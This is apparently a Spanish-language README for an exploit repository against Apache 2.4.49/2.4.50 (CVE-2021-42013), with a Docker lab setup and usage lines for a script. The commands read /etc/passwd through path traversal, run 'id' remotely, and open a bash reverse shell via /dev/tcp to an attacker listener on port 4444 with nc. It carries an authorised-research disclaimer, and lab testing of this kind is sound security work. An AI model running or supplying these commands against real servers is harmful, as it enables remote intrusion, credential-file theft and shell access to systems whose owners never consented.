
Exploit para Apache 2.4.49/2.4.50 path traversal y RCE (CVE-2021-42013). Incluye configuración de Docker y script para probar path traversal, ejecutar comandos y obtener una reverse shell.
⚠️ Solo para fines educativos y de investigación de seguridad autorizada
Muy agradecidos al autor original del PoC Walnut Security Services Pvt. Ltd
Un atacante podría utilizar un ataque de path traversal para mapear URLs a archivos fuera de los directorios configurados por directivas tipo Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si también se habilitan scripts CGI para estas rutas alias, esto podría permitir la ejecución remota de código. Este problema solo afecta a Apache 2.4.49 y Apache 2.4.50, no a versiones anteriores.
Primero, clona el repositorio
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Cambia de directorio
cd CVE-2021-42013
Construye el contenedor vulnerable
docker build -t CVE-2021-42013 .
Ejecuta el contenedor efímero
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Verifica la dirección IP del contenedor
docker inspect CVE-2021-42013 | grep "IPAddress"
Otorga permiso de ejecución al script
chmod +x cve-2021-42013.sh
Para probar y confirmar el path traversal, es necesario descubrir un directorio válido, que en este caso está configurado como /icons. Por lo tanto, ejecutar el siguiente comando desencadenará la vulnerabilidad de path traversal e imprimirá el contenido de /etc/passwd:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
Para probar y confirmar la ejecución remota de código, CGI debe estar configurado y habilitado, lo cual en este caso es cierto. Por lo tanto, ejecutar el siguiente comando desencadenará la ejecución remota de código e imprimirá la salida del comando id:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
Desde la perspectiva de un atacante, la ejecución remota de código es crítica para obtener acceso a un shell interactivo. Por lo tanto, ejecutar el siguiente comando desencadenará una reverse shell convencional sobre tcp basada en bash hacia el sistema del atacante en el puerto 4444/tcp:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444